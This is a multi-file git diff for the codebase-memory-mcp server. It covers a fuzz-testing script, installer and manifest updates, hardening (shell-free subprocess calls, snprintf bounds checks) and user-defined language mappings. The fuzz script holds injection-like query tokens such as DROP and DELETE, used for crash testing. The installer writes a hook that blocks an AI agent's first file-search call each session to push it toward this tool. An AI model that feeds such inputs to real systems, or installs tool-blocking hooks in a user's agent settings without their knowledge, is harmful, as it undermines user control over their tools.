base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': 'A' * random.randint(10000, 100000)
}}
elif mutation == 8:
# Unicode/binary-like content
base['params'] = {'name': 'search_code', 'arguments': {
'pattern': ''.join(chr(random.randint(0, 0xFFFF)) for _ in range(100))
}}
elif mutation == 9:
# Random tool name
base['params'] = {'name': ''.join(random.choices(string.ascii_letters, k=50)), 'arguments': {}}
else:
# Completely random JSON
base = ''.join(random.choices(string.printable, k=random.randint(1, 500)))
try:
print(json.dumps(base))
except:
print(json.dumps({'garbage': True}))
" 2>/dev/null || echo '{}')
# Build session: init + mutated payload
INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}'
printf '%s\n%s\n' "$INIT" "$PAYLOAD" > "$FUZZ_TMPDIR/input.jsonl"
# Run and check for crashes (not exit code — we expect errors, just not crashes)
run_with_timeout 5 "$BINARY" < "$FUZZ_TMPDIR/input.jsonl" > /dev/null 2>&1
EC=$?
# 139 = SIGSEGV, 134 = SIGABRT, 136 = SIGFPE — real crashes
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on iteration $ITERATIONS"
echo "Payload: $PAYLOAD"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 1: $ITERATIONS iterations, $CRASHES crashes"
# ── Phase 2: Random Cypher queries via CLI ───────────────────
echo ""
echo "--- Phase 2: Random Cypher queries via CLI ---"
CLI_ITERATIONS=0
CLI_END=$((SECONDS + 10))
while [ $SECONDS -lt $CLI_END ]; do
CLI_ITERATIONS=$((CLI_ITERATIONS + 1))
QUERY=$(python3 -c "
import random, string
parts = ['MATCH', 'WHERE', 'RETURN', '(', ')', '-[', ']->', '<-[', ']-',
'n', 'r', '.name', '.label', '=', '\"', \"'\", ';', '--', 'DROP',
'DELETE', 'ATTACH', 'DETACH', '*', 'COUNT', 'LIMIT', 'ORDER BY']
q = ' '.join(random.choices(parts, k=random.randint(1, 20)))
# Sometimes add random garbage
if random.random() > 0.5:
q += ''.join(random.choices(string.printable, k=random.randint(1, 100)))
print(q)
" 2>/dev/null || echo "MATCH (n) RETURN n")
run_with_timeout 3 "$BINARY" cli query_graph "{\"query\":\"$QUERY\"}" > /dev/null 2>&1
EC=$?
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on Cypher iteration $CLI_ITERATIONS"
echo "Query: $QUERY"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 2: $CLI_ITERATIONS iterations, $CRASHES total crashes"
# ── Summary ──────────────────────────────────────────────────
echo ""
if [ $CRASHES -gt 0 ]; then
echo "=== FUZZ TESTING FAILED: $CRASHES crash(es) found ==="
exit 1
fi
echo "=== Fuzz testing passed: $((ITERATIONS + CLI_ITERATIONS)) iterations, 0 crashes ==="
+1 -1
View File
@@ -213,7 +213,7 @@ if ($FromSource) {
Write-Host ""
Write-Host "Building binary (this may take a minute)..." -ForegroundColor White
$wslBinaryPath = "/home/$wslUser/.local/bin/$BinaryName"
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && CGO_ENABLED=1 go build -buildvcs=false -o $wslBinaryPath ./cmd/codebase-memory-mcp/"
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && scripts/build.sh && cp build/c/codebase-memory-mcp $wslBinaryPath"
Write-Ok "Built to $wslBinaryPath (inside WSL)"
# Verify
+1 -7
View File
@@ -199,13 +199,7 @@ build_from_source() {
echo "${BOLD}Building binary (this may take a minute)...${RESET}"
mkdir -p "$INSTALL_DIR"
local build_flags=""
# Use -buildvcs=false in WSL (git metadata fails across filesystem boundaries)
if grep -qi microsoft /proc/version 2>/dev/null; then
build_flags="-buildvcs=false"
fi
(cd "$SOURCE_DIR" && CGO_ENABLED=1 go build $build_flags -o "${INSTALL_DIR}/${BINARY_NAME}" ./cmd/codebase-memory-mcp/)
(cd "$SOURCE_DIR" && scripts/build.sh && cp build/c/codebase-memory-mcp "${INSTALL_DIR}/${BINARY_NAME}")
ok "Built and installed to ${INSTALL_DIR}/${BINARY_NAME}"
}
+12 -12
View File
@@ -2,49 +2,49 @@
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.DeusData/codebase-memory-mcp",
"title": "Codebase Memory",
"description": "Persistent codebase knowledge graph — 35 languages, sub-ms queries, 99% fewer tokens than grep. Survives session restarts and context compaction.",
"description": "Persistent codebase knowledge graph — 66 languages, sub-ms queries, 99% fewer tokens than grep. Survives session restarts and context compaction.",
"repository": {
"url": "https://github.com/DeusData/codebase-memory-mcp",
"source": "github"
},
"version": "0.3.1",
"version": "0.5.5",
"packages": [
{
"registryType": "mcpb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-darwin-arm64.tar.gz",
"fileSha256": "501affa554696b36651e8e24c23d8b11b3ee51a3d2b18277413b14aa6a75e970",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-darwin-arm64.tar.gz",
"fileSha256": "ad90ed77de53a019ab7bc11e494a40c4ad777f60604b28834e63b9ec8ca79246",
"transport": {
"type": "stdio"
}
},
{
"registryType": "mcpb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-darwin-amd64.tar.gz",
"fileSha256": "af90b12719784bdc887550f53d4d3fb84b2176ece28d4a1131f3f20d3a014726",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-darwin-amd64.tar.gz",
"fileSha256": "41934f0c1b3b91e73d9cfa84aa27346460ddb616b6c41ce37a4dd2dc408fe4b9",
"transport": {
"type": "stdio"
}
},
{
"registryType": "mcpb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-linux-amd64.tar.gz",
"fileSha256": "9c1ed6e3b73401069aebcd99dc5d35fa182304336c5686791cdd62f5ddbc0159",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-linux-amd64.tar.gz",
"fileSha256": "7720482f6b8e661c8f6cb7eaafbb3a6182ecff5745e06a1da9e888db43868b62",
"transport": {
"type": "stdio"
}
},
{
"registryType": "mcpb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-linux-arm64.tar.gz",
"fileSha256": "18b228405250d4aa735d22bd0d4fe829c014c60ce9ca1e3a1f92e06d333b0beb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-linux-arm64.tar.gz",
"fileSha256": "7c947a9ae42b5324f10369c572f8961086b8a627ed68c9c4ebf07c2db8efa9d9",
"transport": {
"type": "stdio"
}
},
{
"registryType": "mcpb",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.3.1/codebase-memory-mcp-windows-amd64.zip",
"fileSha256": "4f42b190acbe86d823519c82434b5ebf71cc52e34f831429d45097a9a7391ddf",
"identifier": "https://github.com/DeusData/codebase-memory-mcp/releases/download/v0.5.5/codebase-memory-mcp-windows-amd64.zip",
"fileSha256": "2024a3170daab3e58536fdef7a09be5ef6323af453dbf8f4c501a636ff061fa7",
"transport": {
"type": "stdio"
}
+67 -20
View File
@@ -6,6 +6,7 @@
*/
#include "cli/cli.h"
#include "foundation/compat.h"
#include "foundation/str_util.h"
// the correct standard headers are included below but clang-tidy doesn't map them.
#include <ctype.h>
@@ -15,6 +16,7 @@
#define CBM_VERSION "dev"
#endif
#include <errno.h> // EEXIST
#include <fcntl.h> // open, O_WRONLY, O_CREAT, O_TRUNC
#include <stdint.h> // uintptr_t
#include <stdio.h>
#include <stdlib.h>
@@ -1308,11 +1310,7 @@ int cbm_remove_antigravity_mcp(const char *config_path) {
/* ── Claude Code pre-tool hooks ───────────────────────────────── */
#define CMM_HOOK_MATCHER "Grep|Glob|Read|Search"
#define CMM_HOOK_COMMAND \
"echo 'Reminder: prefer codebase-memory-mcp search_graph/trace_call_path/" \
"get_code_snippet over Grep/Glob/Read/Search for code discovery. " \
"Use get_code_snippet(qualified_name) instead of Read to view a function. " \
"Fall back only if MCP returns insufficient results.' >&2"
#define CMM_HOOK_COMMAND "~/.claude/hooks/cbm-code-discovery-gate"
/* Old matcher values from previous versions — recognized during upgrade so
* upsert_hooks_json can remove them before inserting the current matcher. */
@@ -1468,6 +1466,45 @@ int cbm_remove_claude_hooks(const char *settings_path) {
return remove_hooks_json(settings_path, "PreToolUse", CMM_HOOK_MATCHER);
}
/* Install the code discovery gate script to ~/.claude/hooks/.
* Blocks the first Grep/Glob/Read/Search call per session (exit 2 + stderr),
* nudging Claude toward codebase-memory-mcp. All subsequent calls in the same
* session pass through (gate file keyed on PPID). */
static void cbm_install_hook_gate_script(const char *home) {
if (!home) {
return;
}
char hooks_dir[1024];
snprintf(hooks_dir, sizeof(hooks_dir), "%s/.claude/hooks", home);
cbm_mkdir_p(hooks_dir, 0755);
char script_path[1024];
snprintf(script_path, sizeof(script_path), "%s/cbm-code-discovery-gate", hooks_dir);
FILE *f = fopen(script_path, "w");
if (!f) {
return;
}
fprintf(f, "#!/bin/bash\n"
"# Gate hook: nudges Claude toward codebase-memory-mcp for code discovery.\n"
"# First Grep/Glob/Read/Search per session -> block. Subsequent -> allow.\n"
"# PPID = Claude Code process PID, unique per session.\n"
"GATE=/tmp/cbm-code-discovery-gate-$PPID\n"
"find /tmp -name 'cbm-code-discovery-gate-*' -mtime +1 -delete 2>/dev/null\n"
"if [ -f \"$GATE\" ]; then\n"
" exit 0\n"
"fi\n"
"touch \"$GATE\"\n"
"echo 'BLOCKED: For code discovery, use codebase-memory-mcp tools first: "
"search_graph(name_pattern) to find functions/classes, trace_call_path() for "
"call chains, get_code_snippet(qualified_name) to read source. If the graph "
"is not indexed yet, call index_repository first. Fall back to Grep/Glob/Read "
"only for text content search. If you need Grep, retry.' >&2\n"
"exit 2\n");
fclose(f);
chmod(script_path, 0755);
}
#define GEMINI_HOOK_MATCHER "google_search|read_file|grep_search"
#define GEMINI_HOOK_COMMAND \
"echo 'Reminder: prefer codebase-memory-mcp search_graph/trace_call_path/" \
@@ -2216,13 +2253,14 @@ int cbm_cmd_install(int argc, char **argv) {
}
printf(" mcp: %s\n", mcp_path2);
/* PreToolUse hook */
/* PreToolUse hook + gate script */
char settings_path[1024];
snprintf(settings_path, sizeof(settings_path), "%s/.claude/settings.json", home);
if (!dry_run) {
cbm_upsert_claude_hooks(settings_path);
cbm_install_hook_gate_script(home);
}
printf(" hooks: PreToolUse (Grep|Glob reminder)\n");
printf(" hooks: PreToolUse (code discovery gate)\n");
}
/* Step 5: Install Codex CLI */
@@ -2784,25 +2822,33 @@ int cbm_cmd_update(int argc, char **argv) {
return 1;
}
/* Open with final permissions atomically (no TOCTOU between write and chmod) */
#ifndef _WIN32
int fd = open(bin_dest, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fd < 0) {
fprintf(stderr, "error: cannot write to %s\n", bin_dest);
free(bin_data);
return 1;
}
FILE *out = fdopen(fd, "wb");
#else
FILE *out = fopen(bin_dest, "wb");
#endif
if (!out) {
fprintf(stderr, "error: cannot write to %s\n", bin_dest);
free(bin_data);
#ifndef _WIN32
close(fd);
#endif
return 1;
}
fwrite(bin_data, 1, (size_t)bin_len, out);
fclose(out);
free(bin_data);
/* Make executable */
#ifndef _WIN32
chmod(bin_dest, 0755);
#endif
} else {
/* Windows: unzip */
snprintf(cmd, sizeof(cmd), "unzip -o -d '%s' '%s' 2>/dev/null", bin_dir, tmp_archive);
// NOLINTNEXTLINE(cert-env33-c) — intentional CLI subprocess for extraction
rc = system(cmd);
/* Zip extraction: exec unzip directly without shell interpretation */
const char *unzip_argv[] = {"unzip", "-o", "-d", bin_dir, tmp_archive, NULL};
rc = cbm_exec_no_shell(unzip_argv);
cbm_unlink(tmp_archive);
if (rc != 0) {
fprintf(stderr, "error: extraction failed\n");
@@ -2823,11 +2869,12 @@ int cbm_cmd_update(int argc, char **argv) {
int skill_count = cbm_install_skills(skills_dir, true, false);
printf("Updated %d skill(s).\n", skill_count);
/* Step 7: Verify new version */
/* Step 7: Verify new version (exec directly, no shell interpretation) */
printf("\nUpdate complete. Verifying:\n");
snprintf(cmd, sizeof(cmd), "'%s' --version", bin_dest);
// NOLINTNEXTLINE(cert-env33-c,clang-analyzer-optin.taint.GenericTaint)
(void)system(cmd);
{
const char *ver_argv[] = {bin_dest, "--version", NULL};
(void)cbm_exec_no_shell(ver_argv);
}
printf("\nAll project indexes were cleared. They will be rebuilt\n");
printf("automatically when you next use the MCP server.\n");
+15 -4
View File
@@ -2561,7 +2561,10 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
}
const char *v = binding_get_virtual(&bindings[bi], wc->items[ci].variable,
wc->items[ci].property);
kl += snprintf(key + kl, sizeof(key) - kl, "%s|", v);
kl += snprintf(key + kl, sizeof(key) - (size_t)kl, "%s|", v);
if (kl >= (int)sizeof(key)) {
kl = (int)sizeof(key) - 1;
}
}
int found = -1;
for (int a = 0; a < agg_cnt; a++) {
@@ -2918,7 +2921,10 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
}
char func_buf[512];
vals[ci] = project_item(&bindings[bi], item, func_buf, sizeof(func_buf));
klen += snprintf(key + klen, sizeof(key) - klen, "%s|", vals[ci]);
klen += snprintf(key + klen, sizeof(key) - (size_t)klen, "%s|", vals[ci]);
if (klen >= (int)sizeof(key)) {
klen = (int)sizeof(key) - 1;
}
}
int found = -1;
@@ -3005,10 +3011,15 @@ static int execute_single(cbm_store_t *store, cbm_query_t *q, const char *projec
if (ci2 > 0) {
cbuf[bl++] = ',';
}
bl += snprintf(cbuf + bl, sizeof(cbuf) - bl, "\"%s\"",
bl += snprintf(cbuf + bl, sizeof(cbuf) - (size_t)bl, "\"%s\"",
aggs[a].collect_lists[ci][ci2]);
if (bl >= (int)sizeof(cbuf)) {
bl = (int)sizeof(cbuf) - 1;
}
}
if (bl < (int)sizeof(cbuf) - 1) {
cbuf[bl++] = ']';
}
cbuf[bl++] = ']';
cbuf[bl] = '\0';
snprintf(bufs[ci], sizeof(bufs[ci]), "%s", cbuf);
} else {
+51 -9
View File
@@ -3,8 +3,11 @@
*
* Maps file extensions and special filenames to CBMLanguage enum values.
* Handles .m disambiguation (Objective-C vs Magma vs MATLAB).
* Consults the process-global user config (set via cbm_set_user_lang_config)
* before the built-in lookup table.
*/
#include "discover/discover.h"
#include "discover/userconfig.h"
#include "cbm.h" // CBMLanguage, CBM_LANG_*
#include <ctype.h>
@@ -269,10 +272,21 @@ typedef struct {
} filename_entry_t;
static const filename_entry_t FILENAME_TABLE[] = {
{"CMakeLists.txt", CBM_LANG_CMAKE}, {"Dockerfile", CBM_LANG_DOCKERFILE},
{"GNUmakefile", CBM_LANG_MAKEFILE}, {"Makefile", CBM_LANG_MAKEFILE},
{"makefile", CBM_LANG_MAKEFILE}, {"meson.build", CBM_LANG_MESON},
{"meson.options", CBM_LANG_MESON}, {"meson_options.txt", CBM_LANG_MESON},
{"CMakeLists.txt", CBM_LANG_CMAKE},
{"Dockerfile", CBM_LANG_DOCKERFILE},
{"GNUmakefile", CBM_LANG_MAKEFILE},
{"Makefile", CBM_LANG_MAKEFILE},
{"makefile", CBM_LANG_MAKEFILE},
{"meson.build", CBM_LANG_MESON},
{"meson.options", CBM_LANG_MESON},
{"meson_options.txt", CBM_LANG_MESON},
{"kustomization.yaml", CBM_LANG_KUSTOMIZE},
{"kustomization.yml", CBM_LANG_KUSTOMIZE},
/* Note: FILENAME_TABLE uses case-sensitive strcmp, so mixed-case variants
* (e.g. "Kustomization.yaml") are not matched here. They fall through to
* CBM_LANG_YAML and are re-classified by cbm_is_kustomize_file() in
* pass_k8s.c, which performs a case-insensitive comparison. This is the
* intended behaviour — no additional entries are needed. */
{".vimrc", CBM_LANG_VIMSCRIPT},
};
@@ -345,6 +359,8 @@ static const char *LANG_NAMES[CBM_LANG_COUNT] = {
[CBM_LANG_FORM] = "FORM",
[CBM_LANG_MAGMA] = "Magma",
[CBM_LANG_WOLFRAM] = "Wolfram",
[CBM_LANG_KUSTOMIZE] = "Kustomize",
[CBM_LANG_K8S] = "Kubernetes",
};
/* ── Public API ──────────────────────────────────────────────────── */
@@ -354,6 +370,15 @@ CBMLanguage cbm_language_for_extension(const char *ext) {
return CBM_LANG_COUNT;
}
/* Check user-defined overrides first */
const cbm_userconfig_t *ucfg = cbm_get_user_lang_config();
if (ucfg) {
CBMLanguage ulang = cbm_userconfig_lookup(ucfg, ext);
if (ulang != CBM_LANG_COUNT) {
return ulang;
}
}
for (size_t i = 0; i < EXT_TABLE_SIZE; i++) {
if (strcmp(EXT_TABLE[i].ext, ext) == 0) {
return EXT_TABLE[i].language;
@@ -374,13 +399,30 @@ CBMLanguage cbm_language_for_filename(const char *filename) {
}
}
/* Fall back to extension-based lookup */
const char *dot = strrchr(filename, '.');
if (dot) {
return cbm_language_for_extension(dot);
/* Fall back to extension-based lookup.
* For compound extensions (e.g. ".blade.php") defined in the user config,
* scan from the first dot in the basename toward the last, checking user
* config at each position. Built-in extensions use the last dot only. */
const char *last_dot = strrchr(filename, '.');
if (!last_dot) {
return CBM_LANG_COUNT;
}
return CBM_LANG_COUNT;
/* Probe user config for compound extensions (e.g. ".blade.php"). */
const cbm_userconfig_t *ucfg = cbm_get_user_lang_config();
if (ucfg) {
const char *p = strchr(filename, '.');
while (p && p < last_dot) {
CBMLanguage lang = cbm_userconfig_lookup(ucfg, p);
if (lang != CBM_LANG_COUNT) {
return lang;
}
p = strchr(p + 1, '.');
}
}
/* Standard single-extension lookup (built-ins + user overrides). */
return cbm_language_for_extension(last_dot);
}
const char *cbm_language_name(CBMLanguage lang) {
+391
View File
@@ -0,0 +1,391 @@
/*
* userconfig.c — User-defined extension→language mappings.
*
* Reads extra_extensions from:
* Global: $XDG_CONFIG_HOME/codebase-memory-mcp/config.json
* (falls back to ~/.config/codebase-memory-mcp/config.json)
* Project: {repo_root}/.codebase-memory.json
*
* Project config wins over global. Unknown language values warn and are
* skipped (fail-open). Missing files are silently ignored.
*/
#include "discover/userconfig.h"
#include "foundation/log.h"
#include <yyjson/yyjson.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* ── Process-global user config pointer ──────────────────────────── */
static const cbm_userconfig_t *g_userconfig = NULL;
void cbm_set_user_lang_config(const cbm_userconfig_t *cfg) {
g_userconfig = cfg;
}
const cbm_userconfig_t *cbm_get_user_lang_config(void) {
return g_userconfig;
}
/* ── Language name → enum table ──────────────────────────────────── */
/*
* Reverse-mapping from lowercase language name strings to CBMLanguage.
* Covers all names exposed by cbm_language_name() plus common aliases.
*/
typedef struct {
const char *name; /* lowercase */
CBMLanguage lang;
} lang_name_entry_t;
static const lang_name_entry_t LANG_NAME_TABLE[] = {
{"go", CBM_LANG_GO},
{"python", CBM_LANG_PYTHON},
{"javascript", CBM_LANG_JAVASCRIPT},
{"typescript", CBM_LANG_TYPESCRIPT},
{"tsx", CBM_LANG_TSX},
{"rust", CBM_LANG_RUST},
{"java", CBM_LANG_JAVA},
{"c++", CBM_LANG_CPP},
{"cpp", CBM_LANG_CPP},
{"c#", CBM_LANG_CSHARP},
{"csharp", CBM_LANG_CSHARP},
{"php", CBM_LANG_PHP},
{"lua", CBM_LANG_LUA},
{"scala", CBM_LANG_SCALA},
{"kotlin", CBM_LANG_KOTLIN},
{"ruby", CBM_LANG_RUBY},
{"c", CBM_LANG_C},
{"bash", CBM_LANG_BASH},
{"sh", CBM_LANG_BASH},
{"zig", CBM_LANG_ZIG},
{"elixir", CBM_LANG_ELIXIR},
{"haskell", CBM_LANG_HASKELL},
{"ocaml", CBM_LANG_OCAML},
{"objective-c", CBM_LANG_OBJC},
{"objc", CBM_LANG_OBJC},
{"swift", CBM_LANG_SWIFT},
{"dart", CBM_LANG_DART},
{"perl", CBM_LANG_PERL},
{"groovy", CBM_LANG_GROOVY},
{"erlang", CBM_LANG_ERLANG},
{"r", CBM_LANG_R},
{"html", CBM_LANG_HTML},
{"css", CBM_LANG_CSS},
{"scss", CBM_LANG_SCSS},
{"yaml", CBM_LANG_YAML},
{"toml", CBM_LANG_TOML},
{"hcl", CBM_LANG_HCL},
{"terraform", CBM_LANG_HCL},
{"sql", CBM_LANG_SQL},
{"dockerfile", CBM_LANG_DOCKERFILE},
{"clojure", CBM_LANG_CLOJURE},
{"f#", CBM_LANG_FSHARP},
{"fsharp", CBM_LANG_FSHARP},
{"julia", CBM_LANG_JULIA},
{"vimscript", CBM_LANG_VIMSCRIPT},
{"nix", CBM_LANG_NIX},
{"common lisp", CBM_LANG_COMMONLISP},
{"commonlisp", CBM_LANG_COMMONLISP},
{"lisp", CBM_LANG_COMMONLISP},
{"elm", CBM_LANG_ELM},
{"fortran", CBM_LANG_FORTRAN},
{"cuda", CBM_LANG_CUDA},
{"cobol", CBM_LANG_COBOL},
{"verilog", CBM_LANG_VERILOG},
{"emacs lisp", CBM_LANG_EMACSLISP},
{"emacslisp", CBM_LANG_EMACSLISP},
{"json", CBM_LANG_JSON},
{"xml", CBM_LANG_XML},
{"markdown", CBM_LANG_MARKDOWN},
{"makefile", CBM_LANG_MAKEFILE},
{"cmake", CBM_LANG_CMAKE},
{"protobuf", CBM_LANG_PROTOBUF},
{"graphql", CBM_LANG_GRAPHQL},
{"vue", CBM_LANG_VUE},
{"svelte", CBM_LANG_SVELTE},
{"meson", CBM_LANG_MESON},
{"glsl", CBM_LANG_GLSL},
{"ini", CBM_LANG_INI},
{"matlab", CBM_LANG_MATLAB},
{"lean", CBM_LANG_LEAN},
{"form", CBM_LANG_FORM},
{"magma", CBM_LANG_MAGMA},
{"wolfram", CBM_LANG_WOLFRAM},
};
#define LANG_NAME_TABLE_SIZE (sizeof(LANG_NAME_TABLE) / sizeof(LANG_NAME_TABLE[0]))
/*
* Parse a language string (case-insensitive) to a CBMLanguage enum.
* Returns CBM_LANG_COUNT if the string is not recognized.
*/
static CBMLanguage lang_from_string(const char *s) {
if (!s || !s[0]) {
return CBM_LANG_COUNT;
}
/* Build a lowercase copy for comparison */
char lower[64];
size_t i;
for (i = 0; i < sizeof(lower) - 1 && s[i]; i++) {
lower[i] = (char)tolower((unsigned char)s[i]);
}
lower[i] = '\0';
for (size_t j = 0; j < LANG_NAME_TABLE_SIZE; j++) {
if (strcmp(LANG_NAME_TABLE[j].name, lower) == 0) {
return LANG_NAME_TABLE[j].lang;
}
}
return CBM_LANG_COUNT;
}
/* ── Config directory helper ─────────────────────────────────────── */
/*
* Get the XDG config dir for codebase-memory-mcp.
* Writes "<dir>/codebase-memory-mcp" into buf (up to bufsz bytes).
* Uses $XDG_CONFIG_HOME if set, else ~/.config.
*/
static void cbm_app_config_dir(char *buf, size_t bufsz) {
// NOLINT(concurrency-mt-unsafe) — called before worker threads
const char *xdg = getenv("XDG_CONFIG_HOME");
if (xdg && xdg[0]) {
snprintf(buf, bufsz, "%s/codebase-memory-mcp", xdg);
} else {
const char *home = getenv("HOME"); // NOLINT(concurrency-mt-unsafe)
if (!home || !home[0]) {
home = "/tmp";
}
snprintf(buf, bufsz, "%s/.config/codebase-memory-mcp", home);
}
}
/* ── JSON parsing ────────────────────────────────────────────────── */
/*
* Parse extra_extensions from a yyjson object root.
* Appends valid entries to *entries / *count (growing via realloc).
* Project-level entries (from_project=true) are appended after global
* entries so that a later dedup pass can prefer project values.
*
* Returns 0 on success, -1 on alloc failure.
*/
static int parse_extra_extensions(yyjson_val *root, cbm_userext_t **entries, int *count,
const char *source_label) {
if (!yyjson_is_obj(root)) {
cbm_log_warn("userconfig.bad_root", "file", source_label);
return 0;
}
yyjson_val *extra = yyjson_obj_get(root, "extra_extensions");
if (!extra) {
return 0; /* key absent — fine */
}
if (!yyjson_is_obj(extra)) {
cbm_log_warn("userconfig.bad_extra_extensions", "file", source_label);
return 0;
}
yyjson_obj_iter iter;
yyjson_obj_iter_init(extra, &iter);
yyjson_val *key;
while ((key = yyjson_obj_iter_next(&iter)) != NULL) {
yyjson_val *val = yyjson_obj_iter_get_val(key);
const char *ext_str = yyjson_get_str(key);
const char *lang_str = yyjson_get_str(val);
if (!ext_str || !lang_str) {
cbm_log_warn("userconfig.skip_non_string", "file", source_label);
continue;
}
/* Extension must start with '.' */
if (ext_str[0] != '.') {
cbm_log_warn("userconfig.skip_bad_ext", "file", source_label, "ext", ext_str);
continue;
}
CBMLanguage lang = lang_from_string(lang_str);
if (lang == CBM_LANG_COUNT) {
cbm_log_warn("userconfig.unknown_lang", "file", source_label, "lang", lang_str);
continue; /* fail-open: skip unknown languages */
}
/* Grow the array */
cbm_userext_t *tmp = realloc(*entries, (size_t)(*count + 1) * sizeof(cbm_userext_t));
if (!tmp) {
return -1;
}
*entries = tmp;
char *ext_copy = strdup(ext_str);
if (!ext_copy) {
return -1;
}
(*entries)[*count].ext = ext_copy;
(*entries)[*count].lang = lang;
(*count)++;
}
return 0;
}
/*
* Read a JSON file and parse extra_extensions from it.
* Silently ignores missing files. Logs warnings for corrupt JSON.
* Returns 0 on success (or absent file), -1 on alloc failure.
*/
static int load_config_file(const char *path, cbm_userext_t **entries, int *count) {
FILE *f = fopen(path, "rb");
if (!f) {
return 0; /* file absent — silently ignore */
}
fseek(f, 0, SEEK_END);
long len = ftell(f);
fseek(f, 0, SEEK_SET);
if (len <= 0 || len > 65536) {
fclose(f);
if (len > 65536) {
cbm_log_warn("userconfig.file_too_large", "path", path);
}
return 0;
}
char *buf = malloc((size_t)len + 1);
if (!buf) {
fclose(f);
return -1;
}
size_t nread = fread(buf, 1, (size_t)len, f);
fclose(f);
buf[nread] = '\0';
yyjson_doc *doc = yyjson_read(buf, nread, 0);
free(buf);
if (!doc) {
cbm_log_warn("userconfig.corrupt_json", "path", path);
return 0; /* corrupt JSON — silently ignore (fail-open) */
}
yyjson_val *root = yyjson_doc_get_root(doc);
int rc = parse_extra_extensions(root, entries, count, path);
yyjson_doc_free(doc);
return rc;
}
/* ── Public API ──────────────────────────────────────────────────── */
cbm_userconfig_t *cbm_userconfig_load(const char *repo_path) {
cbm_userconfig_t *cfg = calloc(1, sizeof(cbm_userconfig_t));
if (!cfg) {
return NULL;
}
cbm_userext_t *entries = NULL;
int count = 0;
/* ── Step 1: Load global config ── */
enum { PATH_BUF_SZ = 1280 };
char global_dir[1024];
cbm_app_config_dir(global_dir, sizeof(global_dir));
char global_path[PATH_BUF_SZ];
snprintf(global_path, sizeof(global_path), "%s/config.json", global_dir);
if (load_config_file(global_path, &entries, &count) != 0) {
for (int i = 0; i < count; i++) {
free(entries[i].ext);
}
free(entries);
free(cfg);
return NULL;
}
int global_count = count; /* entries[0..global_count) are from global */
/* ── Step 2: Load project config ── */
if (repo_path && repo_path[0]) {
char project_path[PATH_BUF_SZ];
snprintf(project_path, sizeof(project_path), "%s/.codebase-memory.json", repo_path);
if (load_config_file(project_path, &entries, &count) != 0) {
/* Free already-allocated entries */
for (int i = 0; i < count; i++) {
free(entries[i].ext);
}
free(entries);
free(cfg);
return NULL;
}
}
/*
* ── Step 3: Dedup — project entries win over global ──
*
* For any extension that appears in both global (indices 0..global_count)
* and project (indices global_count..count), remove the global entry by
* replacing it with the last global entry (order-insensitive dedup).
*/
for (int p = global_count; p < count; p++) {
for (int g = 0; g < global_count; g++) {
if (entries[g].ext && strcmp(entries[g].ext, entries[p].ext) == 0) {
/* Remove global entry: overwrite with last global entry */
free(entries[g].ext);
entries[g] = entries[global_count - 1];
entries[global_count - 1].ext = NULL; /* mark as consumed */
global_count--;
break;
}
}
}
/*
* Compact: remove any NULL-ext slots left by the dedup step.
* (Those are the consumed "last global" entries.)
*/
int write_idx = 0;
for (int i = 0; i < count; i++) {
if (entries[i].ext != NULL) {
entries[write_idx++] = entries[i];
}
}
count = write_idx;
cfg->entries = entries;
cfg->count = count;
return cfg;
}
CBMLanguage cbm_userconfig_lookup(const cbm_userconfig_t *cfg, const char *ext) {
if (!cfg || !ext || !ext[0]) {
return CBM_LANG_COUNT;
}
for (int i = 0; i < cfg->count; i++) {
if (cfg->entries[i].ext && strcmp(cfg->entries[i].ext, ext) == 0) {
return cfg->entries[i].lang;
}
}
return CBM_LANG_COUNT;
}
void cbm_userconfig_free(cbm_userconfig_t *cfg) {
if (!cfg) {
return;
}
for (int i = 0; i < cfg->count; i++) {
free(cfg->entries[i].ext);
}
free(cfg->entries);
free(cfg);
}
+72
View File
@@ -0,0 +1,72 @@
/*
* userconfig.h — User-defined file extension → language mappings.
*
* Reads extra_extensions from two optional JSON config files:
* Global: $XDG_CONFIG_HOME/codebase-memory-mcp/config.json
* (falls back to ~/.config/codebase-memory-mcp/config.json)
* Project: {repo_root}/.codebase-memory.json
*
* Project config wins over global. Unknown language values warn and are
* skipped (fail-open). Missing files are silently ignored.
*
* Format:
* {"extra_extensions": {".blade.php": "php", ".mjs": "javascript"}}
*
* The language string matching is case-insensitive.
*/
#ifndef CBM_USERCONFIG_H
#define CBM_USERCONFIG_H
#include "cbm.h" /* CBMLanguage */
/* ── Types ──────────────────────────────────────────────────────── */
typedef struct {
char *ext; /* file extension including dot, e.g. ".blade.php" */
CBMLanguage lang; /* resolved language enum */
} cbm_userext_t;
typedef struct {
cbm_userext_t *entries; /* heap-allocated array */
int count; /* number of entries */
} cbm_userconfig_t;
/* ── API ────────────────────────────────────────────────────────── */
/*
* Load user config from global + project files, merge (project wins).
